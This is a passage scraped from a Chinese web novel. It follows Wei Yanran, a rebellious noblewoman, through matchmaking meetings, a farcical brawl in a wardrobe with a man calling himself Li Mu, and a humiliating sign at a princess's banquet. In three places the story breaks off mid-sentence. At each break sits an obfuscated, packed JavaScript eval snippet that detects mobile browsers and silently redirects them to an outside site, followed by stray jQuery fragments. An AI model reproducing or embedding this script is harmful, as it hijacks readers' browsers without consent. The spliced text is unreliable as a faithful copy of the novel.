“今年新出的款。”陈汝笑着解释道:“我看别家的小女郎都喜欢,就让人给你做了几身。”
“……”
“好了快走吧,我今日还约了好几位夫人打马吊呢。你待会儿就坐在雅阁里面,进一个看一个,喜欢就多聊聊,不喜欢直接喊下一个就行。”
几人推着卫燕然到了门口,陈汝把她塞进了马车里。
卫燕然挣扎道:“等等,红梅还没过来……”
陈汝脸色一变,冷脸道:“别想带红梅,她就知道向着你。上次她就帮着你跑路了,这次决不能让她再和你狼狈为奸。青竹,上车。”
说着,她朝青竹点头示意。青竹肃着脸,应了一声“是”,便攀着车门上了马车。
卫燕然叫苦道:“不是,我这次肯定不跑,我不要青竹……”
“由不得你不要。”陈汝看都不看卫燕然一眼,直接示意车夫赶紧驾马。
车轮滚滚,带起一地烟尘。
约定的地点是京城最时兴的酒楼。
卫燕然百无聊赖地坐在其中最大的雅间,一手托着脸,一手不耐烦地敲着桌子。
她坐在主位上,官媒的媒人坐在她左手边,青竹坐在她右手边。
进来一人,媒人便介绍一人。
“这是礼部尚书的侄儿。”
“他爹连个官名都没有,家世太低,过。”
“这是刑部侍郎家的小儿子,今年还考上进士了,一表人才呀。”
“长得太丑,不要。”
“这是太原王氏家的旁系公子,耕读之家,家世清白,容貌清秀,刚中了秀才。”
“身高不够高,过。”
“那这位呢,这是嫖姚校尉家的公子,行二,他够高了吧?他还是今年的武状元呢。”
“长得太高了,过。”
……
就这样,排队等着相亲的人急速减少。不一会儿就见底了。
“还有人吗?”卫燕然翘着脚,歪七扭八地靠在座椅上,“没了吧?”
青竹端坐在一边,手里拿着笔和纸不知在记录着什么。
闻言,她伸手扶了扶因为低头快掉的发簪,严谨地回答道:“还有一个光禄寺卿家的公子。不过他……”
话音未落,门外的侍卫兴奋道:“来了来了。光禄寺卿家的公子来了。”
闻言,三人朝门的方向望去。只听“嘎吱”一声,一位身穿深蓝色华服的公子,就被这么推了进来。
那公子还没反应过来时,门又“咚”地一声关上了。
卫燕然此生见过的美人不算少——纨绔嘛,不好美人好什么?但此人的容貌之盛,就是在卫燕然见过的美人里,也是可以独一档的存在。
一寸秋波,千斛明珠不觉多。
卫燕然看着那公子,心下怦然。不知为何,她总觉得有些似曾相识,似乎在哪里见过。
而卫燕然的身边,媒人捧在手里的花名册掉在了地上也不管,青竹拿在手中的毛笔倾斜了也不自知。
还是卫燕然先回过神来,用声音唤醒了两人。
“哟,居然还真来了个标致人儿?”
卫燕然挑眉,露出了一个玩世不恭的笑,收起自己豪放不羁的坐姿,端正起来。
她对那公子招呼道:“来,快坐快坐。”
那公子刚进门时还有些摸不清情况,微微瞪大了一双含情目,手上还拿着一顶幕笠。
不过他很快就进入了状态,露出一个温和的笑容,施施然坐到了卫燕然的对面,将幕笠放到了一边。
他笑着朝卫燕然打了个招呼:“卫娘子。”
声音也好听……
卫燕然赶紧晃了晃头,清醒过来。
然后她眯起眼睛,挑剔道:“你看起来,好像有点眼熟啊……我们之前见过?”
那公子不答,含笑地看着她。
她盯着那张脸,陷入了短暂的沉思。那公子也不催促,自顾自地倒了杯茶水,喝了起来。
“等等,你是那天——那天在二楼的‘坏女人’!”
那公子喝茶的手一顿,楞了一下,握茶杯的手微微收紧,倒也看不出恼意,反而笑着称赞了卫燕然一句:“卫娘子好记性。”
卫燕然冷笑一声,道:“怪不得那天要拆穿我。喜欢我很久了吧?就因为我翘了相亲,故意来招惹我?”
她“呵”了一声,斜着眼看他,点评道:“像你这般拈酸吃醋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303287|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的男人,我见多了。我是不会……”
“咳咳——”青竹在旁边清了清嗓。
“……不会不理解的。不知郎君是哪里人啊?”卫燕然一手为那公子斟茶,一手抓了把瓜子,边嗑边问道。
那公子也是好脾气,笑着看卫燕然变脸,答道:“京城人。”
卫燕然又阴阳怪气道:“生在京城就是京城人了?祖上哪儿的呀?”
那公子抿了一口茶水:“祖上也是京城的。”
青竹在手里的本子上打了个勾。
卫燕然微微撇嘴,继续问道:“那不知公子双亲可还在?家中几口人?可有兄弟姐妹?我脾气如何,全京城都知道,气坏了公子的父母,那可是大大的不孝啊。”
那郎君学着卫燕然的腔调,一板一眼地答道:“我生母早逝,家中人口众多。兄弟大小有五人,姊妹有七人。我是家中庶子,排行老三。”
说完,他停顿了片刻,欣赏了一会儿卫燕然因为他的话而逐渐变亮的眼睛,然后又道:“……不过我成婚后会另立府邸,和妻子搬出来住。家里只需要逢年过节的时候去一趟就成。”
卫燕然的眼睛立刻失去了光彩,青竹又在手里的本子上打了个勾。
卫燕然憋气,又问道:“公子做什么活计的?可有功名在身?”
那公子装模作样地想了一下,随即笑道:“现下赋闲在家,待成婚后会借家里门荫入仕,在朝中找个清闲活计。”
青竹又双叒叕在本子上打了个勾。
卫燕然深吸一口气,再问:“你在家中可受宠爱?能否介意做上门女婿呢?”
那郎君遗憾地摇了摇头,颇为苦恼,道:“我是不介意做什么上门女婿,只是我家里人恐怕有点难接受……”
卫燕然微微松了一口气。青竹继续在手里的本子上打勾。
卫燕然震惊地转头问青竹:“不是,这你也打勾?”
青竹冷静道:“娘子你适可而止。有这么好看的夫婿还要什么上门女婿?大夫人说了,卫家不需要你传宗接代,你就是一辈子不生孩子都成。”
卫燕然憋屈地转过头。那公子看着她,又露出一个笑。
卫燕然恶狠狠道:“告诉你,我可是有心上人的。你就是再好,在我心里也比不上他。”
她滔滔不绝地把自己和“心上人”的故事又重演了一遍。
说到尽兴处时,她还站了起来,一只脚踩在桌子上,豪放地牛饮完一壶茶,一抹嘴,两眼放光地看着他。
快生气。快走人。快!
那公子却安静听完了全程,展颜一笑,温柔道:“我不介意。”
媒人手里的花名册又一次掉了。她失魂落魄地站了起来,也不捡东西,嘴上嘟囔着什么“不应该啊”、“怎么可能呢”,就游魂似地离开了。
青竹再次在手里的本子上打了个勾。
卫燕然失落地跌坐回椅子上。
“那么……”
门再次“唰”地一下被推开,一位气喘吁吁的蓝衣郎君闯了进来。
他一边扶着门板喘气,一边擦着头上的汗,道:“我……我来迟了,抱歉。”
卫燕然和青竹看看门口的蓝衣郎君,又看看座椅上的蓝衣公子。
“等会儿,你是……”
门口的蓝衣郎君道:“我是光禄寺卿家的公子,程浩然啊。今儿不是安排我俩相亲呢嘛。”
卫燕然把头转向座椅上那人:“他说他是和我相亲的人,那你又是谁?”
座椅上那人岿然不动,甚至还有心情抿一口茶,然后笑道:“我自然是被认错,拉过来当了壮丁的无辜路人。”
5. 第五章 偷听
事情发展到这个地步,相亲自然是相不成了。
卫燕然和青竹打道回府,不出意外地收获了陈汝的一顿好骂。
这很正常,卫燕然自打五年前回京城后,时常挨骂,她很习惯了。
第二天,卫燕然照常上街,回来刚进院子没走两步,就听到了小厮丫鬟们口中关于自己的流言。
“听说了吗?咱们家那个卫四有倾慕之人了,为了那人拒绝了一个貌若潘安的好后生呢。”
卫燕然:“……”
污蔑!都是污蔑!
她哪里拒绝了?她分明是被仙人跳了!
不过流言都传到家里来了,效果好像还不错嘛。
第三天。
“听说了吗?卫四她有喜欢的人了,为了那人她可是把和她相亲的人全都拒绝了。”
“是啊,我听闻其中有个俊俏的后生,喜欢娘子喜欢到愿意为她散尽家财,她都不愿意!”
卫燕然:“……”
她确实拒绝了很多人,这点洗不了。
不过谁要为她散尽家财来着?那个仙人跳吗?
第四天。
“听说了吗?卫四她喜欢的人已经有未婚妻了。卫四就是为了掩饰自己的喜欢,才老是寻花问柳,用声色犬马来麻痹自己。”
“那她怎么还去相亲了啊?我前几天刚听说了娘子相亲的八卦来着。”
“这你就不懂了吧。反正不是他,是谁都没差。对卫四来说,嫁不了自己喜欢的人,嫁给谁都一样。”
“天哪,娘子真是好深情一女子!”
“还君明珠双垂泪,恨不相逢未嫁时。真是造化弄人啊……”
卫燕然:“……”
无力吐槽了。
算了,提到心上人就行,其他的他们爱怎么说怎么说吧。
第五天。
“听说了吗,卫四她喜欢太子!就是因为太子已经有婚约了,她才不得不移情于其他,到处花天酒地。”
“我说娘子她怎么这么多年不成婚,还老是做些有损名声的出格事,原来在这儿等着呢。”
“我听说的是,因为咱们家的贵妃娘娘和皇后有龃龉,所以才坚决不让他们在一起!”
“我还听说大夫人为娘子的婚事儿都操碎心了,一定要给她相亲。其中有个俊俏的好后生被娘子的深情打动,喜欢娘子喜欢到愿意为她去死。就这娘子都坚决不肯,一心想太子呢!”
“唉,他爱她,她不爱他爱他,他又不爱她爱她。情之一字,害人啊……”
卫燕然:“……”
她确实想让京城传一下她有心上人的流言,但是没想让他们传她和太子的谣言啊!
算了,毁灭吧。
那个狗男人最好祈祷,这辈子都不要再碰上她。
不然她一定会把他揍得他娘都不认识他!
……
因为当事人当了缩头乌龟,谣言越演越烈,好在后面突然冒出了一个:“皇室那个废材三皇子萧玉尘,居然喜欢准太子妃谢知书”的流言,冲淡了大家的注意力,卫燕然才不用顶着大家同情的目光出门。
卫燕然:“……”这个破家真是一点儿也待不下去了。
也许是老天也看不下去了。
这天,卫燕然刚出门没走两步,就看到了一个鬼鬼祟祟的身影。
那人头戴幕笠,身穿一套月牙白的常服,长身玉立,纵使行迹可疑,却是一身遮不住的贵气。
呵。真是踏破铁鞋无觅处,得来全不费工夫。
卫燕然勾起一个冷笑,悄悄跟了上去。
走到一处酒楼,那人不知和店老板说了什么,就被请上了楼。
卫燕然正要跟,却被店小二拦下。
于是她丢了一锭银子给店小二,道:“开个雅间。别声张。”
说完,不顾店小二的反对,推开了对方,上了二楼。
那人的身影并不难找,毕竟这么多人带着幕笠的就他一个。他左顾右盼,小心翼翼地进了一个房间关了门。正要转身时,他左肩突然被搭上了一只手。
“别动。把手举起来。”卫燕然压低了声音道。
说着,她把扇子怼在对方的腰上,威胁意味很重地抵着他。
那人沉默了片刻,依言举起了双手。
“别出声,走进内间去。”
被人挟持了,他倒是还冷静,道:“不知是哪位……”
“少废话,走。”卫燕然打断她
那人低头笑了,配合地绕过屏风,走进内间。
进了内间,卫燕然料想此人翻不出她的手掌心了,于是把扇子收回了些,不再抵着他。然后粗声粗气地问道:“鬼鬼祟祟地,来干什么的?”
那人轻笑一声,道:“来私会的。”
卫燕然“呵”了一声,并不相信,威胁道:“老实点,说实话。”
那人摊手,一副好不无辜的模样,道:“真是来私会的。”
卫燕然找不到反驳的证据,只好又问道:“叫什么名字?”
那人不说话了。
于是卫燕然用扇子朝他腰上狠狠怼了一下,他才低垂目光,继续笑着回答道:“李木。”
一听就知道是个化名。骗子。
就在卫燕然思考要怎么对待这个满口谎言的狗男人时,李木突然翻身抓住了她的扇子,趁她还在走神,利用成年男子的体重优势把她压在了地上。
冲突间,李木的幕笠掉在了一旁,他那张绝代风华的脸露了出来,两人距离陡然拉近,彼此都能闻到对方的呼吸。
见到卫燕然,李木毫不意外地轻笑一声,道:“果然是大名鼎鼎的卫四公子。不知公子跟着我一个小人物,是想干什么?”
卫燕然不答,挣扎了两下,但因为被压着的姿势不好发力,卫燕然没能挣脱。
于是她回之以冷笑,道:“这话应该我问你吧?一路上都鬼鬼祟祟地,你又想干什么?”
李木也含笑不答。一时间两人僵持不下。
刚才彼此角力之时只顾打架还不觉得,此时安静下来,李木便感觉到手臂压着卫燕然的地方,触感似乎……有些绵柔。
意识到自己压在什么地方,他不免有些尴尬。然后不自在地把手往上抬了抬,避开了卫燕然的胸口。
卫燕然丝毫体察不到李木的良苦用心,只觉李木压制她的力道开始减弱。
她轻笑一声,拧身沉气,一脚踹在了李木身上。
只听李木闷哼一声,卫燕然一个翻身,就骑在了李木身上,攻守之势异也。
被一个女子这么压在身上,从未如此近距离接触过他人的李木,终于失了一直以来的冷静。
他面色浮起一片潮红,不知是气的还是羞的,挣扎道:“你好歹是个女子,怎么能这么……”
卫燕然皱眉,她最烦别人拿她是女子之事说事,于是一巴掌拍在了李木的臀上,恶狠狠道:“你给我安分点儿,搞清楚现在谁才是主人。”
被人打了屁股,李木愣住了,脸上短暂地出现了一段茫然的空白——他跌跌撞撞活到今天,从未有人敢如此对过他!
于是他挣扎得更厉害了。一边挣扎,一边扭头看向卫燕然,一双含情目里简直要喷出火了。
他脸上微笑的面具层层破碎,那张总是含着笑意的脸上头一次出现了真实的情感波动。他怒道:“你居然敢这么对我!你……”
话还未说完,卫燕然手下又是一巴掌,道:“我就敢了。怎么,你还不服?”
李木……李木不知道该如何应对了,在他所生活的环境里,便是故意磋磨、为难一个人,大家也都习惯于先扯上一张冠冕堂皇的大旗,体体面面地把事情给办了,叫人挑不出错来。
他头一次碰到这么棘手的情况,也头一次遇到这么不管不顾、随心所欲的人。
他被卫燕然气得耳朵也染上了艳丽的粉色,却不得不承认,他习以为常的阴谋诡计对上卫燕然,毫无办法。
于是他狼狈地低下头,从牙齿缝里挤出那几个字:“服了。服了行了吧。”
卫燕然满意了,正想松开李木,门外突然传来了杂乱的脚步声。
“诶,二爷,您往这儿走。”
“好。”
这应“好”语气和声音分外耳熟,好像是——太子?
卫燕然短暂地失神了片刻。随着那脚步声越来越近,李木又开始挣扎了起来。
卫燕然手下又是一巴掌,她小声呵斥道:“别动!”
话音刚落,外间的门“嘎吱”一声响了。
卫燕然和李木愣了一下,彼此对视一眼,不约而同地把目光放到面前的柜子上。
在外面的人进屋之前,两人勉强把自己藏进了柜子。柜门刚一关上,外间的门也“咚”地一声关上了。
柜子狭小,两人不得不衣衫交叠。于是卫燕然鼻息间飘过来一缕带着热气的檀木香。
她不适地扭过头去,檀香却充斥在她的鼻息间挥之不去。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303288|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还挺香。
正想着,李木突然又不安分了。他在狭小的柜子里辗转,挤得卫燕然差点被撞到鼻子。
“你干什么?老实点。”卫燕然小声威胁道,“不然就把你踢出去。”
“那你过去点儿,别挤着我。”李木皱着眉小声道。
卫燕然用胳膊狠狠地怼了他一下,恶声恶气道:“过去不了,已经没位置了。”
于是李木红着脸,闭上了眼睛,又安静了。
外面疑似是太子的人进屋了,他要等的人似乎还没来,于是坐在了外间。店小二殷切地上了茶水,那人也随口吩咐了几句话。
这几句话让卫燕然确定了。外面的人就是太子。
他来这里干什么?
卫燕然陷入了沉思。
还不待她想出个结果,身边的李木又开始蠢蠢欲动。
卫燕然朝那不安分的家伙臀上又拍了一巴掌,不耐烦道:“别乱动。你到底想干嘛?”
李木沉默地忍耐了片刻,终于忍无可忍:“你一个女子,和我共处一室挤在一起,就这么没有警戒心吗?”
警戒心?警戒什么?他那战五渣的战斗力?
感受到李木喘息着几乎喷到她脖子上的热气。
和她胸口前放着的,明显不属于她自己的手臂。
电光石火之间,卫燕然突然明白了什么。
她红着脸紧了紧衣领,恼羞成怒道:“你个登徒子!”
说完,就飞出一脚。
只听“嘭”一声闷响,李木被卫燕然踹出了柜子。
太子萧玉明循声望去,目光锁定到内间,道:“什么声音?”
店小二听到动静,正想迈步前去查看,突然想起自己刚才在楼下没拦住的客人,顿时冷汗浸衣。
于是店小二笑着打了个哈哈,大声道:“可能是老鼠吧。您也知道,酒楼这样的地方,免不了耗子的。”
话音刚落,又听“咚”地一声,似乎是什么东西撞到了柜门。
顶着萧玉明带着询问意味的目光,店小二笑僵了脸,又道:“……可能是酒楼养的猫在抓耗子吧。您也知道,有耗子的地方就是得养猫。”
刚说完,里面又是一阵“乒砰”声。
店小二笑容继续拉大,笑得都快哭出来了:“猫抓耗子动静是有点大哈。要不这边给客人您换一个房间怎么样?”
伴随着一声压着嗓子的惨叫男声,一只白色的靴子从内间的屏风处飞了出来。
看着这只“飞来横靴”,外间的所有人都沉默了。
一时间,只剩下内间压不住的“乒乒乓乓”声,间或夹杂着男人的喘息。
店小二……店小二悬着的心彻底死了。
他面若死灰地被萧玉明推开。萧玉成一步步走近,“唰”地一声,一把拉开了屏风。
只见两个衣冠不整的男人,披头散发地彼此纠缠着,其中一人还骑在了另一人身上。
听到动静,那在上面的人回头看了他一眼,又立刻低下了头,心虚地问道:“如果我说,我们只是在打架,你信吗?”
萧玉明只看了一眼,便嫌恶地移开目光,对门口的侍卫道:“什么腌臜东西,脏了本宫的眼睛!还不快过来把他们丢出去!”
侍卫赶紧跑来,又被现场震撼了一遍,被店小二捂着眼睛戳了一下,才大声应了一句“是”。
于是卫燕然和李木就这么姿势不雅地被丢出了房间。
其中一个侍卫还唾道:“呸,真不要脸!大白天的在酒楼里干什么呢。恶心玩意儿!”
说完就“咚”地一声关上了门。
但没过一会儿,门又打开了。李木的那只靴子也飞了出来,落在两人身边。
门又一次重重地关上。
坏消息:被人误以为是断袖,在酒楼里白日宣淫,还被丢出来了。
好消息:没有人看清他们的脸。
见人群开始围绕过来,卫燕然抬起袖子遮住自己的头。她压低了声音冲李木道:“你给我等着,别再让姑奶奶看到你。不然我见你一次打你一次。”
李木也咬牙切齿道:“你也最好别让我再碰见你。”
卫燕然看了看李木那柔弱的身板,不屑地嗤笑一声,然后冲出零散的包围圈,跑出酒楼。
出于仅剩的最后一点良心,她没有抢走李木的幕笠。
至于李木能不能跑出来,怎么跑出来……
卫燕然冷笑一声。
那就不关她的事了。
6. 第六章 卫四与狗
酒楼之后,卫燕然难得在家里龟缩了几天。
长这么大,从没丢过这样的人。她得花点儿时间缓缓。
于是,等陈汝的贴身侍女春来找到潇湘院时,她还半死不活地躺在院子里晒太阳。
“可算是找着您了。”春来无奈道,“我还以为您又出门了,问了门房才知道这两日娘子都在家里呢。”
卫燕然吐掉叼在嘴里的狗尾巴草,笑道:“是春来啊,找我有什么事吗?”
春来一板一眼地回答:“大夫人让我找您去她哪儿一趟。”
卫燕然惊讶:“不会吧,青竹真去告状了?”
“告状?您又干什么坏事了?”春来疑惑道。
卫燕然立刻否认:“哪儿能啊,我这两天都在家里了,还能去干什么坏事。”
春来想起她平日里闹出的乱子,抿了抿嘴唇,礼貌地笑了笑,并不接话。
卫燕然熟练地转移话题道:“对了,伯娘有说是什么事吗?”
春来摇头:“没有。就说让您直接去一趟。”
“成,那我再晒会儿太阳就去。你先回院子吧。”
卫燕然朝春来摆了摆手,春来也就行礼退下了。
春来走后,卫燕然又在院子里躺了一会儿,直到感觉日头开始毒辣起来了,才不情不愿地站起来,伸了个懒腰,步履拖沓地走向陈汝的院子。
即使一路上磨磨蹭蹭地,浪费了不少时间。但再长的路也有尽头。
“伯娘。你叫我来又是想干什么?”卫燕然懒散地迈着步子,走进陈汝的院子。
陈汝闻言抬头看了她一眼,随即嫌弃得眉头皱得死紧,但她嘴上说着:“你看你,一个姑娘家家的,没半点儿女郎样。”一转头又招呼着丫鬟们上了卫燕然喜欢的茶和点心。
卫燕然嬉皮笑脸道:“我都这样好多年了,您早该习惯了。”
说着,她吊儿郎当地翘了个二郎腿,坐在了陈汝身旁道:“说吧伯娘,有什么坏消息,需要我出马啊?”
闻言,陈汝想起今日找卫燕然的目的,立刻换下了先前嫌弃的表情,长叹了口气,道:“大长公主的春日宴马上要开了。你知道的吧?”
看着陈汝的脸,卫燕然心里“咯噔”一声。
不是,真是坏消息啊?
她面上却还是装作无所谓地点点头,装傻道:“这事儿啊,我记得——今年开得这么早的吗?”
陈汝看着卫燕然这幅样子就来气,但打又打不到,骂又骂不动,劝也劝不了。最后只能叹息一声,头疼地用手按了按额角。
春日宴本是大长公主近年来热衷拉媒保纤后所衍生出的附属品。每年春日,大长公主都乐于邀请京城适龄的才子佳人们共聚一堂,或比试或赏花或踏青,总之,给这群青年男女一个相看的机会和借口,好促成一对又一对的姻缘。
这样的盛况一直持续到四年前,也就是卫四也开始参加春日宴那年,一切有关春日宴的美好都像是踩了刹车似的,就那么戛然而止了。
那一次,堪称自春日宴举办以来最混乱的一届。才子佳人的佳话没成多少不说,仅成的几对里还当场出现了怨侣,发誓一定要老死不相往来。
从此,卫燕然彻底上了大长公主春日宴的黑名单。虽然每年还是会照常递帖子,但陈汝也不好意思再接,找个借口拒绝,双方都能松口气儿。
虽然卫四平日里干的坏事大大小小也有不少,但这件事也算她干的坏事里排得上号的了——因为闹得太大在皇帝那里都挂上名儿了。
这一回想,就让陈汝沉默了良久,坐在一旁的罪魁祸首还毫无察觉地左顾右盼,看天看地就是不看她。
陈汝压下怒气,用商量的语气道:“今年你能去春日宴,好好相一下亲,行不?”
闻言,卫燕然“嗖”地一下坐直了身体,立刻反对道:“不行!我们不是早就说好了,再也不去的吗?怎么又……”
陈汝语重心长道:“此一时彼一时嘛。你若是定亲了,我肯定一句废话也不和你多说。可现下你婚事不是还没着落吗?”
“你这一天不定亲,我这心啊,就一天放不下。”
说着,她一边揉着胸口,一边偷偷拿眼看卫燕然。
陈汝旁边的嬷嬷也点头,和陈汝一唱一和道:“是啊,最近夫人夜里老惊梦,一晚上得醒三四次呢。”
见卫燕然不为所动,陈汝又叹息一声,道:“还有我这头啊,一想到你婚事没个着落就开始疼……”
嬷嬷又点头,道:“是啊,都去请太医看过好几次了,太医说是心病,没得治。”
“还有我……”
“好了好了,我知道了。”
卫燕然妥协了,赶紧出声打断她,再不打断陈汝马上就要病入膏肓,无药可医,只等她结婚才能好转了。
“我去便是了。您冷静些。”
陈汝装模作样地捂着嘴,眼角处是藏不住的笑纹,道:“真的吗?会不会太勉强你了。要是实在不想去也可以……”
卫燕然拿眼斜她,道:“是吗?既然这样,那我便不去了吧。”
陈汝赶紧轻咳一声,只作没说过那话,道:“总之,帖子给你了,自己看着办吧。”
她示意侍女将拜帖呈上,卫燕然接过帖子,恹恹应是。
陈汝也只当没看见,朝卫燕然摆了摆手,装都不装地就要赶她离开。
卫燕然不情不愿地起身,告别了陈汝。
在卫燕然行至门槛处时,陈汝突然出声提醒道:“对了,大长公主特意提到了,这次宴会要规范着装,女子都得穿曲裾。”
闻言,卫燕然脚下一个趔趄,被门槛狠狠地绊了一下。好在她及时扶住门框。然后回头给了陈汝一个尴尬却不失体面的笑容。
她假笑着问道:“如果我不穿,会怎样呢?”
陈汝微微低头作思索样,故意道:“也许会被大长公主抓去穿宫装吧?”
卫燕然微微眯起了眼,道:“她敢!”
陈汝也眯着眼对她笑,道:“大长公主敢不敢我不知道。但我敢。”
卫燕然沉默了,然后头也不回地消失在了门外。
时光飞逝,半月的时间一闪而过,很快就到了春日宴这天。
卫燕然还未出门,院子里就又是一阵鸡飞狗跳。
“大夫人已经吩咐过,女郎要穿曲裾深衣。”这是陈汝派来的监工,春来说道。
“我家公子打出生起,就从来没穿过这玩意儿。再是长公主吩咐,最多
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303289|167184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最多,也只能穿个直裾深衣。”这是努力守住公子底线的红梅,“直裾已经很给长公主面子了。”
“什么直裾曲裾,就不能让我穿平常的衣裳吗?”这是还在妄图垂死挣扎的卫燕然。
“不能!”这是正在挑花钿的青竹。“您也不想被长公主,哦不,被大夫人抓去穿宫装吧?老实待着吧。”
……
女装这件事,就是一回生二回熟。
总之,幸好春日宴午时过后才开始,不然仅是早上那点儿时间,肯定不够她们折腾。
而在各方势力的顽强博弈下,最后收拾出来的卫燕然,也还算担得起一句人模人样,是正常大家闺秀的样子。
于是,在陈汝忧心忡忡的目光中,卫燕然踏上了长公主府派来的马车。
忽略她快要翻上天的白眼,一切都很和谐。
但卫燕然眼睛一转,又笑了起来。
“伯娘,你要记得按时来接我啊。”卫燕然从马车的窗户里露头,难得露出可怜兮兮的表情,“可不能再像以前那样,和其他夫人打马吊忘了时间。”
被卫燕然这么一看,陈汝心中的保护欲激增,她信誓旦旦地拍了拍胸口,道:“放心吧。这次肯定不会忘的。我到时候和红梅一起去接你。”
说完,她又忍不住叮嘱道:“你和青竹在春日宴上乖乖的,别惹事。知道吗?”
卫燕然眼神飘忽了一瞬,不正面回答,只含糊应承道:“嗯……我尽量吧。”
陈汝本来捧着脸悄悄感叹,今天小燕然真可爱……嗯?等等,她在说什么?
尽量?
这句话刹那间便点燃了陈汝的神经。也就是在这一刻,陈汝终于抛开了卫燕然现在打扮出来的小女郎滤镜,回想起过去无数个想揍孩子的瞬间。
她眼睛里冒火,但碍于身边有长公主府里的来人,她又勉强将怒火压了回去。
于是她露出一个慈祥的假笑,道:“你可以试试。”
卫燕然天不怕地不怕地回答道:“试试就试……唔。”
青竹捂住了卫燕然的嘴,探出窗口,对陈汝说:“大夫人放心,我会看好女郎的。”
陈汝看着可靠的青竹,勉强放了点儿心,点点头,道:“轻点捂,仔细花了妆。”
“好了,赶紧走吧,别迟到了。”
听完了卫家人的寒暄,长公主府的来人朝陈汝点头示意后,扬起马鞭,低声呵道:“驾。”
马车的车轮便带着烟尘,慢慢消失在了门口。
经过一路的颠簸,卫燕然到长公主的庄子的时候,门口已经排了很多马车了。
“我滴个乖乖,”卫燕然惊叹地咋舌道,“今年咋这么多人啊?”
“因为今年听说你要来,好多已经成了婚的也来了,说是要来看乐子。”青竹冷静地解释道。
果然,八卦是人类的第一行动力。
卫燕然装模作样地摇头叹息,道:“大家还是参不透啊。”
青竹忍住了自己的白眼。
二人下了马车。卫燕然脚刚踩实了地,就看见门口竖了好大一块牌子。
上面写到:“卫四与狗不得入内”。
卫燕然气笑了。
原来是看这么个乐子。
7. 第七章 下马威
青竹跟在卫燕然身后,也下了马车。
她看到牌子,咬了咬嘴唇,道:“大长公主真是欺人太甚!”
说着,拳头紧了又松,还是忍不住要上前理论。
卫燕然却拉住了她,叹息道:“冷静些。同这些小喽啰计较什么,他们也不过是听命办事罢了。”
青竹甩开卫燕然的手,冷声道:“那就去找大长公主理论!她的别庄,她难道不知道手底下的人在搞什么?”
卫燕然扯着青竹的衣裳,再次把人拉回来,毫不留情地弹了对方一个脑瓜崩,道:“要去找谁,什么时候还轮到你说了算了。”
“事情不能只看表面。”卫燕然的眼睛冷了下来,不带感情地轻笑一声,“你也不想想,大长公主这么识时务的一个人,无缘无故会默许家里人这么干?”
对上青竹茫然的目光,卫燕然又笑着伸手揉乱了她的头发。
然后她继续道:“那位一直想找人取代卫家在边关的势力,你知道的吧?”
青竹咬唇,点了点头。
卫燕然继续解释道:“他送去边关的人里,不乏一些权贵子弟。其中就有大长公主的孙子,焦清。”
说着,她又轻笑一声,道:“这位焦公子,可是在上月递了好大一份军功回来。”
青竹怔愣了片刻,才不敢确定地问道:“女郎你的意思是,那位打算让焦公子取代……”
卫燕然含笑点了点头,纠正道:“倒也不是现在,不过确实有借此事发挥的打算。”
青竹的气一下子全泄了。
卫燕然也叹息一声,道:“所以今天,既是下马威,也是试探。”
兵权真的太重要了。重要到哪怕只是闻着点儿味,就有人开始忍不住跃跃欲试了。
卫燕然又道:“正好他们家县主同我有旧,追究起来,一句‘小孩子不懂事’就可以遮掩过去。便是出些意外,有个什么事,一个女郎而已,对他们来说也不值钱。”
“毕竟那位但凡有得选,就一定不会选卫家。”
卫燕然眼里闪过一道冷光,但很快又变回那副不着调的样子。
青竹垂下了目光,道:“所以这次就只能放过他们了?”
她握紧了拳头,又松开。
最后长长地出了一口气。
卫燕然拍了拍她的手,道:“现在就说放过,未免也太没志气了。你平日里管我的气势呢?”
卫燕然说着,借拉手的动作悄悄递给青竹一块令牌:“你回去把这个给红梅,告诉她这件事的始末,她知道该怎么做。”
青竹楞了一下,低声应了一声是,收下了牌子。
卫燕然挑眉笑着,看向大门处,目光晦涩。又对青竹吩咐道:“去前面找公主府的人要一匹马,就说是回去帮我取东西。若是不给你,只管抢便是。去吧。”
青竹迟疑地点头,又应了一声,最后看了大门一眼,走了。
看她的身影离开,卫燕然失笑,道:“真是窝里横。”
说完,她便抬步走向大门。
那守门的两小厮看到她,你推我我推你,谁也没有推过谁,最后还是绷得笔直,等卫燕然走过来。
“哎呀,这不是大名鼎鼎的卫四公子吗?”其中一个小厮硬撑着假笑,出声道,“怎么有空来春日宴了?”
另一个小厮也一唱一和地说:“那您可来得不巧了,今年这儿可不欢迎你。”
说着,指着牌子示意给卫燕然看。
如果指牌子的手不那么抖的话,效果可能会更好一点。
先开口的那位也道:“托您的福,今年一只狗都没放进去,所以您看您这来的……”
